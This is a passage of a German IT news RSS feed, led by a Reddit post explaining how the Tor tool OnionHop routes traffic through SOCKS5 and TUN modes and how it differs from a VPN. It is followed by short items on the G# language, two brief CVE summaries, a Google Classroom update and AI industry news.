Modi (System SOCKS5 Proxy und TUN) gibt</strong></p> <p>Genau an diesem Punkt zeigt sich, warum Werkzeuge wie OnionHop unterschiedliche Modi anbieten müssen:</p> <ol> <li><strong>Der System SOCKS5 Proxy-Modus (Anwendung muss Socks5 fähig sein z.B. alle Internet Browser):</strong> Er ist sehr ressourcenschonend und leichtgewichtig. Er eignet sich hervorragend, wenn du gezielt nur die Anwendungen über das Tor-Netzwerk leiten möchtest, die diesen Standard unterstützen (wie deinen Browser).</li> <li><strong>Der TUN-Modus "virtuelle Netzwerkkarte":</strong> Er löst exakt das Problem der fehlenden Unterstützung in Programmen. Wie wir zuvor besprochen haben, baut dieser Modus eine **virtuelle Netzwerkkarte (**sichtbar unter "Netzwerkverbindungen" unter Windows, WIN + R = <code>ncpa.cpl)</code> auf und zwingt das Betriebssystem, <strong>alles</strong> dorthin zu leiten. Hierbei ist es völlig egal, ob ein Programm von Vermittlungsservern weiß oder nicht – die Daten werden auf einer Ebene abgefangen, der sich kein Programm entziehen kann.</li> </ol> <h1>Für die Entwickler unter euch: Wie ändert man den System-Proxy eigentlich programmatisch?</h1> <p>Wer schon länger in der Softwareentwicklung tätig ist, kennt das Problem bei der plattformübergreifenden Programmierung: Ein einheitliches Vorgehen gibt es hier leider nicht. Jedes Betriebssystem kocht sein eigenes Süppchen, was bei Werkzeugen wie OnionHop unter der Haube einigen Aufwand bedeutet. Hier ist ein kleiner technischer Einblick, wie der Code das im Hintergrund löst:</p> <p><strong>1. Windows: Die Registrierungsdatenbank und WinINet</strong> Einfach nur Werte in eine Konfigurationsdatei zu schreiben, reicht hier nicht. Zuerst müssen die Werte in der Registrierungsdatenbank (im Zweig <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings</code>) manipuliert werden (z. B. <code>ProxyEnable</code> auf <code>1</code> und <code>ProxyServer</code> auf <code>127.0.0.1:9050</code>). Der entscheidende Schritt ist danach aber, das System über diese Änderung zu benachrichtigen, da laufende Anwendungen (wie der Browser) die neuen Werte sonst ignorieren. Dafür muss ein Aufruf der Windows-Systembibliothek <code>wininet.dll</code> erfolgen. Über die Programmierschnittstelle (API) <code>InternetSetOption</code> feuert man die Markierungen (Flags) <code>INTERNET_OPTION_SETTINGS_CHANGED</code> und <code>INTERNET_OPTION_REFRESH</code> ab, um das System zum sofortigen Neuladen zu zwingen.</p> <p><strong>2. Linux: Die große Fragmentierung</strong> Gerade wenn man in hybriden Umgebungen (wie dem Windows-Subsystem für Linux oder mit Container-Lösungen) entwickelt, merkt man schnell: Linux hat keine zentrale Instanz für diese Einstellungen.</p> <ul> <li><strong>Kommandozeile und Hintergrunddienste:</strong> Diese reagieren fast ausschließlich auf Umgebungsvariablen wie <code>http_proxy</code> oder <code>ALL_PROXY</code>. Diese müssen durch das Programm systemweit oder in den jeweiligen Startskripten (z. B. <code>~/.bashrc</code>) gesetzt werden.</li> <li><strong>GNOME-Desktop:</strong> Hier wird die Konfigurationsdatenbank (dconf) genutzt. Programmatisch löst man das über die C-Programmierschnittstelle von GLib oder einfacher durch das Ausführen von Systembefehlen im Hintergrund (z. B. <code>gsettings set org.gnome.system.proxy mode 'manual'</code>).</li> <li><strong>KDE Plasma:</strong> Speichert die Konfiguration in Textdateien (<code>~/.config/kioslaverc</code>), die von der Software analysiert und editiert werden müssen, gefolgt von einem Befehl zum Neustart der zuständigen KDE-Dienste.</li> </ul> <p><strong>3. macOS: SystemConfiguration Framework</strong> Apple regelt das Netzwerkmanagement streng über die einzelnen Hardware-Schnittstellen (WLAN, Kabelnetzwerk etc.).</p> <ul> <li><strong>Der skriptbasierte Weg:</strong> Ein Programm ruft im Hintergrund das vorinstallierte Kommandozeilen-Werkzeug <code>networksetup</code> auf, um den Vermittlungsserver für jede aktive Netzwerkschnittstelle einzeln zu setzen (z. B. <code>networksetup -setsocksfirewallproxy "Wi-Fi"</code> <a href="http://127.0.0.1/"><code>127.0.0.1</code></a> <code>9050</code>).</li> <li><strong>Der native Weg:</strong> Die Software greift direkt über C oder Swift auf das Systemgerüst <code>SystemConfiguration</code> zu. Über die Programmierschnittstelle <code>SCDynamicStore</code> klinkt man sich in den Konfigurationsspeicher ein, schreibt ein Datenverzeichnis mit den neuen Werten in den Pfad <code>State:/Network/Global/Proxies</code> und teilt so dem Kernel die Netzwerkänderung ohne Umwege direkt mit.</li> </ul> <h1>Wie Onionhop unter Windows den Datenverkehr über virtuelle Netzwerkschnittstellen (TUN) lenkt</h1> <p>Die Magie passiert über <strong>virtuelle Netzwerkschnittstellen (TUN-Modus)</strong> und gezielte Manipulation der <strong>Wegfindung (Routing)</strong>.</p> <h1>1. Der virtuelle Netzwerktreiber</h1> <p>Windows nutzt für Netzwerkkarten die sogenannte <em>Network Driver Interface Specification</em> (NDIS). Tools wie Onionhop installieren einen virtuellen Treiber (oft auf Basis von Wintun).</p> <p>Auf der Ebene des <strong>Betriebssystemkerns (Kernel-Ebene)</strong> ist dieser Treiber eine vollwertige Netzwerkkarte. Das System sieht absolut keinen Unterschied zu eurem echten WLAN-Modul oder Netzwerkkabel. Dieser Adapter arbeitet auf der <strong>Vermittlungsschicht (Layer 3)</strong>. Er verarbeitet also reine IP-Datenpakete (Internetprotokoll) und simuliert keine Hardware-Adressen (MAC-Adressen) der tieferen Schichten.</p> <h1>2. Die Übernahme der Wegfindung (Routing)</h1> <p>Damit Windows die Daten nicht ans WLAN, sondern an Onionhop schickt, wird die <strong>Wegfindungstabelle (Routingtabelle)</strong> dynamisch angepasst, sobald die Verbindung steht:</p> <ul> <li>Onionhop fügt eine neue Standardroute (<code>0.0.0.0/0</code> – also den Weg für "alle unbekannten Ziele im Internet") hinzu, die auf die virtuelle TUN-Schnittstelle zeigt.</li> <li>Der entscheidende Trick: Diese neue Route bekommt einen niedrigeren <strong>Prioritätswert (Metrik)</strong> als der echte WLAN-Adapter. Da Windows bei konkurrierenden Routen immer den Weg mit dem niedrigsten Wert wählt, fließt der gesamte ausgehende Datenverkehr des Systems ab sofort in den virtuellen Tunnel.</li> </ul> <h1>3. Datenkapselung im Anwendungsbereich (User-Space)</h1> <p>Jetzt landen die Daten (Nutzdaten) bei der Onionhop-Anwendung, die als Hintergrunddienst läuft:</p> <ol> <li>Die Anwendung lauscht an der virtuellen Schnittstelle und fängt die IP-Pakete ab.</li> <li>Sie verschlüsselt diese Nutzdaten.</li> <li>Die verschlüsselten Pakete werden nun mit einer neuen Ziel-IP versehen (dem ersten Knotenpunkt im Onion-Netzwerk). Das nennt man <strong>Datenkapselung (Encapsulation)</strong>.</li> <li>Erst jetzt übergibt Onionhop diese neu verpackten Pakete wieder an den Windows-Netzwerkstapel.</li> </ol> <p>Die Wegfindungstabelle von Windows sieht nun diese spezifische Ziel-IP des Einsteiger-Knotens und weiß: <em>"Ah, diese IP muss über das echte Standard-Gateway des physischen WLAN-Adapters raus."</em></p> <p>Der echte WLAN-Adapter dient also nur noch als reines Transportmedium für den bereits gekapselten und verschlüsselten Datenverkehr. Die eigentlichen Programme (wie der Browser) denken währenddessen, sie sprechen mit einer ganz normalen Netzwerkkarte.</p> <p><strong>Zum Selbstprüfen für die Kommandozeile:</strong></p> <p>Wer sich das beim Testen von Onionhop live ansehen will, kann die PowerShell nutzen:</p> <ul> <li><strong>Versteckte Schnittstellen anzeigen:</strong></li> <li><code>PowerShellGet-NetAdapter -IncludeHidden</code></li> <li><strong>Wegfindung und Prioritäten prüfen:</strong></li> <li><code>PowerShellGet-NetRoute -DestinationPrefix "0.0.0.0/0"</code></li> </ul> <h1>Was ist die Abgrenzung zu einem "echten" VPN wie z.B. ProtonVPN?</h1> <table><thead> <tr> <th align="left"><strong>Eigenschaft</strong></th> <th align="left"><strong>OnionHop (Tor-Netzwerk)</strong></th> <th align="left"><strong>Klassisches VPN (z.B. ProtonVPN)</strong></th> </tr> </thead><tbody> <tr> <td align="left"><strong>Architektur</strong></td> <td align="left"><strong>Dezentral.</strong> Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte.</td> <td align="left"><strong>Zentralisiert.</strong> Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters.</td> </tr> <tr> <td align="left"><strong>Vertrauensmodell</strong></td> <td align="left"><strong>Trustless.</strong> Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich).</td> <td align="left"><strong>Vertrauensbasiert.</strong> Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.</td> </tr> <tr> <td align="left"><strong>Protokolle</strong></td> <td align="left">Tor transportiert prinzipbedingt <strong>nur TCP-Verbindungen</strong>. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert.</td> <td align="left">Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig. Eigenschaft OnionHop (Tor-Netzwerk) Klassisches VPN (z.B. ProtonVPN) Architektur Dezentral. Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte. Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters. Vertrauensmodell Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich). Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.Protokolle Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert. Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig.</td> </tr> </tbody></table> <h1>Das Virtuelle Private Netzwerk (VPN): Tiefer Eingriff auf Schicht 2 und 3</h1> <p>Ein VPN verhält sich für das Betriebssystem wie eine echte, physische Netzwerkkarte – nur eben als virtuelle Variante (Netzwerkschnittstelle). Es greift tief in das System ein und fängt den gesamten Datenverkehr ab, bevor dieser das Gerät verlässt.</p> <ul> <li><strong>Auf der Vermittlungsschicht (Schicht 3 / Network Layer):</strong> Hier arbeiten die meisten modernen VPN-Verbindungen (wie WireGuard oder IPsec). Sie verpacken (kapseln) komplette IP-Datenpakete. Das bedeutet, dass die gesamte Netzkopplung (Routing) übernommen wird. Jeder Datenverkehr – egal ob gesicherte Verbindungsaufbauten (TCP), verbindungslose Übertragungen (UDP) oder Diagnoseabfragen (ICMP, wie bei einem Ping) – wird in den verschlüsselten Tunnel gezwungen.</li> <li><strong>Auf der Sicherungsschicht (Schicht 2 / Data Link Layer):</strong> Einige VPN-Lösungen beherrschen auch die sogenannte Netzwerküberbrückung (Bridging, z. B. OpenVPN im TAP-Modus). Hier werden die rohen Datenrahmen (Ethernet Frames) übertragen. Das System verhält sich so, als wären alle Rechner über hunderte Kilometer hinweg an denselben physischen Netzwerkverteiler (Switch) angeschlossen. In diesem Modus werden sogar lokale Netzwerk-Rundrufe (Broadcasts) durch den Tunnel übertragen.</li> </ul> <h1>Das Zwiebelnetzwerk (Tor): Aufsatz auf Schicht 4 und 7</h1> <p>Tor arbeitet architektonisch völlig anders und hat mit den unteren Netzwerkschichten (Schicht 2 und 3) primär nichts zu tun. Es erstellt keine virtuelle Netzwerkkarte im Betriebssystem.</p> <ul> <li><strong>Anwendungsschicht (Schicht 7) &amp; Transportschicht (Schicht 4):</strong> Das Tor-Programm läuft lokal als Stellvertreter-Dienst (SOCKS-Proxy). Eure Software (z. B. der Browser) muss explizit so konfiguriert werden, dass sie diesen Stellvertreter anspricht. Tor nimmt diese Anfragen entgegen und wickelt den Datenstrom ausschließlich über die Transportschicht ab – und hier auch <strong>nur für das TCP-Protokoll</strong>.</li> <li><strong>Keine rohen Pakete:</strong> Tor transportiert keine IP-Datenpakete (Schicht 3) und keine Ethernet-Datenrahmen (Schicht 2). Verbindungslose UDP-Pakete oder simple Ping-Abfragen (ICMP) werden vom Tor-Netzwerk schlichtweg nicht weitergeleitet.</li> </ul> <h1>Die Konsequenz für die IT-Sicherheit (Datenlecks)</h1> <p>Aus Sicht der Informationssicherheit ergibt sich daraus ein massiver Unterschied im Gefahrenpotenzial:</p> <p>Da ein klassisches VPN auf der <strong>Vermittlungsschicht (Schicht 3)</strong> arbeitet, fängt es als Standard-Netzweg (Default Gateway) den <em>gesamten</em> Verkehr des Betriebssystems ein.</p> <p>Das Zwiebelnetzwerk hingegen ist stark anfällig für Datenlecks (Leakage), da es auf <strong>Schicht 4 und 7</strong> operiert. Wenn eine Anwendung auf dem Rechner nicht strikt an den Tor-Stellvertreter (Proxy) gebunden ist, oder wenn sie versucht, über das verbindungslose UDP-Protokoll eine Namensauflösung (DNS-Anfrage) durchzuführen, wandern diese Datenpakete unverschlüsselt am Zwiebelnetzwerk vorbei ins normale Internet. Eure echte IP-Adresse wäre in diesem Fall sofort enttarnt. Um Tor so abzusichern, dass es wie ein VPN den gesamten Rechnerverkehr schützt (auf Schicht 3 erzwingt), bedarf es spezialisierter Betriebssysteme wie <a href="https://tails.net/">Tails</a> oder dedizierter Hardware-Zwischenstationen.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Horus_Sirius"> /u/Horus_Sirius </a> <br> <span><a href="https://www.onionhop.de/">[link]</a></span>   <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1v3vcph/digitale_selbstbestimmung_onionhop_leitet_euren/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[G# language for .NET borrows from Go, Kotlin, and Swift]]></title>
<description><![CDATA[G# (GSharp) is moving forward as a programming language for Microsoft’s .NET platform, touted as bringing Go-, Kotlin-, and Swift-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.



Although pre-1.0 and still growi...]]></description>
<link>https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</guid>
<pubDate>Thu, 23 Jul 2026 04:08:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://github.com/DavidObando/gsharp" data-type="link" data-id="https://github.com/DavidObando/gsharp">G# (GSharp)</a><strong> </strong>is moving forward as a programming language for Microsoft’s <a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">.NET</a> platform, touted as bringing <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>-, <a href="https://www.infoworld.com/article/2256390/what-is-kotlin-the-java-alternative-explained.html">Kotlin</a>-, and <a href="https://www.infoworld.com/article/4150248/swift-6-3-boosts-c-interoperability-android-sdk.html">Swift</a>-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.</p>



<p class="wp-block-paragraph">Although pre-1.0 and still growing, G# aims to be for people who want a small, predictable language with direct access to the .NET ecosystem. Developers will see imports, <code>func</code>, structs, slices, maps, channels, <code>go</code>, <code>select</code>, and <code>for in</code> iteration. Also important are nullable flow, direct calls into the CLR (Common Language Runtime), and built-in concurrency. </p>



<p class="wp-block-paragraph">With G#, copyrighted in 2026, developers get value-oriented structs, reference-oriented classes, data structs, and data classes. For concurrency, G# uses <code>scope</code> for structured concurrency, <code>async func</code><strong> </strong>and <code>await</code><strong> </strong>for task-based asynchrony, and <code>async sequence[T]</code> for asynchronous streams. G# also makes use of the same <code>Task</code> and <code>Task[T]</code> types familiar from the .NET BCL (Base Class Library).</p>



<p class="wp-block-paragraph">G# documentation is <a href="https://davidobando.github.io/gsharp/" data-type="link" data-id="https://davidobando.github.io/gsharp/">available on the GitHub site</a> of Microsoft software engineer David Obando. “Every .NET type—your packages, third-party NuGet packages, the BCL—is callable from G# with the syntax you already know. CLR generics use G#’s bracket spelling, and method calls, properties, indexers, and <code>for in</code><strong> </strong>over <code>IEnumerable[T]</code> all just work,” according to the website.</p>



<p class="wp-block-paragraph">A Visual Studio Code extension for G3 can be found at <a href="https://marketplace.visualstudio.com/items?itemName=gsharplang.vscode-gsharp">marketplace.visualstudio.com</a>. The extension adds syntax highlighting, language server features, build/run commands, and debugger configuration for <code>.gs</code> and <code>.gsproj</code> files. Developers can install the extension from within VS Code (search for “G#” in the Extensions view) or from the command line.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-3918 | Apple swift-corelibs-foundation crlf injection (GHSA-4pp3-mpf2-rj63 / EUVD-2022-43253)]]></title>
<description><![CDATA[A vulnerability was found in Apple swift-corelibs-foundation. It has been declared as problematic. This affects an unknown part. The manipulation results in crlf injection.

This vulnerability was named CVE-2022-3918. The attack needs to be approached within the local network. There is no availab...]]></description>
<link>https://tsecurity.de/de/3686058/sicherheitsluecken/cve-2022-3918-apple-swift-corelibs-foundation-crlf-injection-ghsa-4pp3-mpf2-rj63-euvd-2022-43253/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686058/sicherheitsluecken/cve-2022-3918-apple-swift-corelibs-foundation-crlf-injection-ghsa-4pp3-mpf2-rj63-euvd-2022-43253/</guid>
<pubDate>Wed, 22 Jul 2026 13:04:00 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/apple:swift-corelibs-foundation">Apple swift-corelibs-foundation</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown part. The manipulation results in crlf injection.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2022-3918">CVE-2022-3918</a>. The attack needs to be approached within the local network. There is no available exploit.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Redesigned Google Classroom homepage with tailored views based on user’s role]]></title>
<description><![CDATA[Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. The updated interface transforms the homepage into a dynamic, centralized hu...]]></description>
<link>https://tsecurity.de/de/3684691/web-tipps/redesigned-google-classroom-homepage-with-tailored-views-based-on-users-role/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684691/web-tipps/redesigned-google-classroom-homepage-with-tailored-views-based-on-users-role/</guid>
<pubDate>Tue, 21 Jul 2026 21:17:35 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. The updated interface transforms the homepage into a dynamic, centralized hub that more easily surfaces existing information and tools that were previously located in different areas of Classroom. Users can still access classes in the side navigation panel and a dedicated classes module on the homepage.</p><p>The new experience, which will begin rolling out on <b>July 27, 2026</b>, is personalized based on a user's role and available features:</p><p></p><ul><li><b>For teachers,</b> a new dashboard gives actionable insights, highlights student classwork interactions, tracks assignment completion, and surfaces a feature spotlight to help discover instructional tools and resources.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4z5Jr1F8pgnppJhAO67dlTGF8_s396SdXAfVwirKZRyDRNWel62ZKjkHhyem1myWeDm_W1EZqy9W0aXp8ag-Mhi0gcyRpcH3D9uW_T7XbpdHUodupn25qr0jOknsQ54WM6Zq8THkBpvrmz5XCK_Ujn61JDcQlssIER4Dm_R-f49Tdzq4lp7e_OWijIZE/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%201.png" imageanchor="1"><img border="0" data-original-height="2048" data-original-width="1684" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4z5Jr1F8pgnppJhAO67dlTGF8_s396SdXAfVwirKZRyDRNWel62ZKjkHhyem1myWeDm_W1EZqy9W0aXp8ag-Mhi0gcyRpcH3D9uW_T7XbpdHUodupn25qr0jOknsQ54WM6Zq8THkBpvrmz5XCK_Ujn61JDcQlssIER4Dm_R-f49Tdzq4lp7e_OWijIZE/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%201.png"></a></div><div><br></div><ul><li><b>For students,</b> a dedicated ‘Enrolled’ view reminds learners of coursework that is due soon and helps them manage their deadlines.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2DeMpYAsE8KjpOol-GTGgKsRfuDX_lWVbVBUuwgqjhYFPNJmrjY2PvBeYFpoD41VPtPap2B1bdgG4jy6b8-ih2SpV-A7gj2X3ak4cHe-L0Ymq0PY8DwJraldsEDBEnwasX56dzjnj_dvOSsY1RXTNFx56JvmWnRGMCBiKQVimy9Kb4JwC9F4XJ8IZwUc/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%202.png" imageanchor="1"><img border="0" data-original-height="1595" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2DeMpYAsE8KjpOol-GTGgKsRfuDX_lWVbVBUuwgqjhYFPNJmrjY2PvBeYFpoD41VPtPap2B1bdgG4jy6b8-ih2SpV-A7gj2X3ak4cHe-L0Ymq0PY8DwJraldsEDBEnwasX56dzjnj_dvOSsY1RXTNFx56JvmWnRGMCBiKQVimy9Kb4JwC9F4XJ8IZwUc/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%202.png"></a></div><div><br></div><ul><li><b>For school leaders and IT administrators, </b>the homepage provides a centralized view to monitor high-level performance analytics, access shortcuts for backend administrative settings, and discover relevant tools to support educators and staff.</li></ul><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5pTQCpASv_YNL4r0fWvhMZJLsDay8uBJUNu3lmdHX5hVnXd2xLZ9RxGk6jOeSuqdspW4iqCa-evGdJc3zVG6vF0mA_rE1DeOsMgzGGh3xZyh5YGM-mX3LcgT4xLdXjbuex8rkHkt-YtL5KdSxJ6O-tOUmhi3jJwhwjZ5AHe3pNeKnnGHkZ_pXyJXnEA/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%203.png" imageanchor="1"><img border="0" data-original-height="2048" data-original-width="1528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5pTQCpASv_YNL4r0fWvhMZJLsDay8uBJUNu3lmdHX5hVnXd2xLZ9RxGk6jOeSuqdspW4iqCa-evGdJc3zVG6vF0mA_rE1DeOsMgzGGh3xZyh5YGM-mX3LcgT4xLdXjbuex8rkHkt-YtL5KdSxJ6O-tOUmhi3jJwhwjZ5AHe3pNeKnnGHkZ_pXyJXnEA/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%203.png"></a></div><p><br></p><p>Users who have multiple roles (such as a teacher taking a professional development class) can easily change their view dashboard by clicking into another role (for example, Teaching, Enrolled, or Admin). When a user loads the homepage, it returns to the previous role view.</p><p>To help users control their view and focus on what matters most to them, all new homepage modules are collapsible.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrTE36s6kLkXAffV-F1O0SzB3un4nX0Pd_lFGBuCFl2Ag9dlPY53pOSeJQQMmdn2mWYpUpSxMIN4kGLgO7NDXkiOEQz0I0cT1Bv-taqWkp5I1pmmzAcB2nonL3qz5OVwCBRpYwvpl09UCiLbnbERcpmsUontJsPtvIL2kz2SfZQCTQNVIuw3rk3Dftp0/s1800/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%204.png" imageanchor="1"><img border="0" data-original-height="1000" data-original-width="1800" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrTE36s6kLkXAffV-F1O0SzB3un4nX0Pd_lFGBuCFl2Ag9dlPY53pOSeJQQMmdn2mWYpUpSxMIN4kGLgO7NDXkiOEQz0I0cT1Bv-taqWkp5I1pmmzAcB2nonL3qz5OVwCBRpYwvpl09UCiLbnbERcpmsUontJsPtvIL2kz2SfZQCTQNVIuw3rk3Dftp0/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%204.png"></a></div><p><br></p><p><i>Please note that not all features and views will be available to all users. Eligibility is determined by the user’s role, feature access, account type, and settings.</i></p><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>There is no admin control for the new Classroom homepage. Gemini and <a href="https://blog.google/innovation-and-ai/products/gemini-notebook/notebooklm-gemini-notebook/" target="_blank">Gemini Notebook</a> features will only appear if the user is in an OU with Gemini in Classroom, Gemini app, and/or Gemini Notebook enabled. Visit the Help Center to learn about managing access to <a href="http://support.google.com/a/answer/16291887" target="_blank">Gemini in Classroom</a>, <a href="https://knowledge.workspace.google.com/admin/gemini/turn-the-gemini-app-on-or-off" target="_blank">Gemini app</a>, <a href="https://knowledge.workspace.google.com/admin/users/access/turn-notebooklm-on-or-off-for-users" target="_blank">Gemini Notebook</a>, and the option to turn these services on or off for users in the Admin console.</li><li><b>End users: </b>There is no end user setting for the new Classroom homepage. Visit the Help Center to <a href="https://support.google.com/edu/classroom/answer/17231999?hl=en&amp;ref_topic=11987016&amp;sjid=11637609375205384704-NC" target="_blank">learn more about the new Classroom homepage</a>.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Full rollout (1-3 days for visibility) starting July 27, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Classroom Help: <a href="https://support.google.com/edu/classroom/answer/17231999?hl=en&amp;ref_topic=11987016&amp;sjid=11637609375205384704-NC" target="_blank">Navigate your Classroom Homepage</a></li><li>2026: What’s New in Google for Education: <a href="https://docs.google.com/presentation/d/1nJAZYHrAe-K0OOqZ3HA1-YrY6aNO5yOIV5MosOkaIOU/preview?slide=id.g3ef4e3366dc_69_1186#slide=id.g3ef4e3366dc_69_1186" target="_blank">Overview of Classroom Homepage</a></li></ul><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[America needs to stop getting shocked by Chinese AI]]></title>
<description><![CDATA[Last week, two Chinese AI companies unveiled models they say can credibly compete with the best systems from OpenAI and Anthropic. The response was swift and predictable. Markets wobbled, commentators declared Silicon Valley shooketh, and policymakers reached for the familiar language of arms rac...]]></description>
<link>https://tsecurity.de/de/3683502/it-nachrichten/america-needs-to-stop-getting-shocked-by-chinese-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683502/it-nachrichten/america-needs-to-stop-getting-shocked-by-chinese-ai/</guid>
<pubDate>Tue, 21 Jul 2026 13:17:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Last week, two Chinese AI companies unveiled models they say can credibly compete with the best systems from OpenAI and Anthropic. The response was swift and predictable. Markets wobbled, commentators declared Silicon Valley shooketh, and policymakers reached for the familiar language of arms races and wake-up calls. In one headline, The Associated Press said a […]]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-3868 | SourceCodester Sanitization Management System Master.php?f=save_quote ID sql injection (EUVD-2022-43206)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, has been found in SourceCodester Sanitization Management System. The impacted element is an unknown function of the file /php-sms/classes/Master.php?f=save_quote. The manipulation of the argument ID leads to sql injection.

This vulnerability is ...]]></description>
<link>https://tsecurity.de/de/3682269/sicherheitsluecken/cve-2022-3868-sourcecodester-sanitization-management-system-masterphpfsavequote-id-sql-injection-euvd-2022-43206/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682269/sicherheitsluecken/cve-2022-3868-sourcecodester-sanitization-management-system-masterphpfsavequote-id-sql-injection-euvd-2022-43206/</guid>
<pubDate>Tue, 21 Jul 2026 00:07:22 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, has been found in <a href="https://vuldb.com/product/sourcecodester:sanitization_management_system">SourceCodester Sanitization Management System</a>. The impacted element is an unknown function of the file <em>/php-sms/classes/Master.php?f=save_quote</em>. The manipulation of the argument <em>ID</em> leads to sql injection.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2022-3868">CVE-2022-3868</a>. The attack can be initiated remotely. Additionally, an exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
